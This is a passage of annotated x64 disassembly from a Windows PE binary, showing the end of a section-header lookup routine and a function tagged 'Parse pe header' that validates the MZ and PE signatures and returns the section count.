ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002260
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400022bd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400022b4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002260
add rax, 0x28
cmp rax, r9
jne 0x1400022a0
xor eax, eax
ret

Function at 0x1400022c0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043d0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400022df
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400022e8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400022df
movzx ecx, word [rax + 6]
mov eax, ecx
ret